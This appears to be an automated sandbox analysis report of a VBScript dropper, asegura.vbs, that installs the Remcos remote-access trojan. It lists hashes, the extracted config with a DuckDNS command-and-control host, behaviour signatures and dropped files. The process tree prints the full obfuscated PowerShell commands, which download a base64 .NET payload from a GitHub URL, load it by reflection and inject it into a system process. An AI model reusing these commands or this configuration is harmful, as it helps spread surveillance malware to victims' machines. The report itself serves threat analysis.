Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-10-2024 13:26

General

  • Target

    asegura.vbs

  • Size

    483KB

  • MD5

    f263136dd6f26628d6e5fbc4f52f1c0a

  • SHA1

    294f56a012b9a3567ffd4b49a348a68cc64c73f8

  • SHA256

    c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793

  • SHA512

    3b728b0b0014125f23b8dfb5a7c06a6293a301971b127474bfbd59a96b4528123e0081cd90989e41bd5e5be8b04f4cf465a385fe637b4f0368344206d5c1aca5

  • SSDEEP

    12288:RGMsp3SuzEPHa8ZVVCRl0pzCwxn9Ki+GtW2r7aPZy6PLAAIbgTNixeQJbkLFjOnd:RGNQ7H+xC99

Malware Config

Extracted

Family

remcos

Botnet

INRY

C2

025sep.duckdns.org:3000

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    registros.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Q0TS8L

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Capturas de pantalla

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegura.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4420
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFyaWFiTGUgJypNRFIqJykubkFtRVszLDExLDJdLUpvSU4nJykoICgoJ3swfXUnKydybCA9IHsnKycxJysnfWh0dHBzOicrJy8vcmF3LmdpdGh1YicrJ3VzZXInKydjbycrJ250ZW50LmMnKydvbS8nKydOb0RldGVjdE9uL05vRCcrJ2V0JysnZWN0JysnT24vcmUnKydmcycrJy8nKydoJysnZWFkJysncy9tYScrJ2luL0RldGFoJysnTicrJ290aC0nKydWLicrJ3QnKyd4dCcrJ3sxfTsnKycgezB9YmFzZTY0Q29udGVudCcrJyAnKyc9IChOZXctT2JqZWMnKyd0JysnIFN5Jysnc3QnKydlbS5OJysnZXQuVycrJ2ViQ2wnKydpJysnZW4nKyd0JysnKScrJy5EJysnb3duJysnbG8nKydhJysnZFMnKyd0cmluZycrJygnKyd7MH11cmwpOyB7MH1iaW5hcnlDJysnb250ZScrJ250ICcrJz0gW1MnKyd5cycrJ3QnKydlbScrJy5DbycrJ252ZXJ0XTo6RnJvbScrJ0JhJysncycrJ2U2JysnNCcrJ1N0cicrJ2luZyh7JysnMH1iJysnYXNlJysnNjQnKydDb24nKyd0ZW50KTsgJysneycrJzB9YXMnKydzZScrJ21ibCcrJ3kgPScrJyAnKydbUicrJ2UnKydmJysnbCcrJ2VjdGlvJysnbicrJy4nKydBc3NlbWJseScrJ106OicrJ0xvYScrJ2QoJysneycrJzB9YicrJ2luYScrJ3InKyd5QycrJ29udGUnKydudCk7JysnICcrJ1snKydkbmxpYi5JTycrJy5Ib21lJysnXScrJzo6VkEnKydJJysnKCcrJ3syfTAnKycvOVpsbScrJzIvZC8nKydlZScrJy5ldHMnKydhcCcrJy8vOnNwdHRoeycrJzJ9LCB7Mn1kZXMnKydhdGknKyd2JysnYWRvezJ9LCB7MicrJ31kZScrJ3MnKydhdCcrJ2l2YWQnKydveycrJzJ9LCcrJyAnKyd7JysnMicrJ31kZXNhdGknKyd2JysnYScrJ2QnKydvezJ9LCAnKyd7MicrJ31BZGRJJysnblByJysnb2MnKydlc3MzMicrJ3syJysnfSwgezJ9ezJ9LHsyfXsyJysnfSknKS1mIFtjaGFyXTM2LFtjaGFyXTM5LFtjaGFyXTM0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vAriabLe '*MDR*').nAmE[3,11,2]-JoIN'')( (('{0}u'+'rl = {'+'1'+'}https:'+'//raw.github'+'user'+'co'+'ntent.c'+'om/'+'NoDetectOn/NoD'+'et'+'ect'+'On/re'+'fs'+'/'+'h'+'ead'+'s/ma'+'in/Detah'+'N'+'oth-'+'V.'+'t'+'xt'+'{1};'+' {0}base64Content'+' '+'= (New-Objec'+'t'+' Sy'+'st'+'em.N'+'et.W'+'ebCl'+'i'+'en'+'t'+')'+'.D'+'own'+'lo'+'a'+'dS'+'tring'+'('+'{0}url); {0}binaryC'+'onte'+'nt '+'= [S'+'ys'+'t'+'em'+'.Co'+'nvert]::From'+'Ba'+'s'+'e6'+'4'+'Str'+'ing({'+'0}b'+'ase'+'64'+'Con'+'tent); '+'{'+'0}as'+'se'+'mbl'+'y ='+' '+'[R'+'e'+'f'+'l'+'ectio'+'n'+'.'+'Assembly'+']::'+'Loa'+'d('+'{'+'0}b'+'ina'+'r'+'yC'+'onte'+'nt);'+' '+'['+'dnlib.IO'+'.Home'+']'+'::VA'+'I'+'('+'{2}0'+'/9Zlm'+'2/d/'+'ee'+'.ets'+'ap'+'//:sptth{'+'2}, {2}des'+'ati'+'v'+'ado{2}, {2'+'}de'+'s'+'at'+'ivad'+'o{'+'2},'+' '+'{'+'2'+'}desati'+'v'+'a'+'d'+'o{2}, '+'{2'+'}AddI'+'nPr'+'oc'+'ess32'+'{2'+'}, {2}{2},{2}{2'+'})')-f [char]36,[char]39,[char]34) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:232

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\registros.dat

    Filesize

    144B

    MD5

    498a55005ff2ac35c9006997a58a0c12

    SHA1

    5846022a1c9c17caaefc38279a44006e4b2618d6

    SHA256

    2c921a9e09f5ddfacfd83bb57ca1879f3fc8d8bc6b64b1106fe8e92fcad7af74

    SHA512

    61a1f01e0279a7a36a04fa5cceaee1ce977ed197675956afd2175ae51afc12b9422b7d7eeba1ccc159762d04b20f5cd2b2721f654997edbde126fd978cd68897

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdgplmd5.g5u.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/232-48-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-41-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-23-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-26-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-74-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-72-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-30-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-33-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-67-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-35-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-40-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-66-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-61-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-46-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-59-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-53-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/232-54-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/4444-0-0x00007FFA7FD33000-0x00007FFA7FD35000-memory.dmp

    Filesize

    8KB

  • memory/4444-1-0x000001842D400000-0x000001842D422000-memory.dmp

    Filesize

    136KB

  • memory/4444-34-0x00007FFA7FD30000-0x00007FFA807F1000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-11-0x00007FFA7FD30000-0x00007FFA807F1000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-12-0x00007FFA7FD30000-0x00007FFA807F1000-memory.dmp

    Filesize

    10.8MB

  • memory/4816-22-0x0000023B64F80000-0x0000023B651A0000-memory.dmp

    Filesize

    2.1MB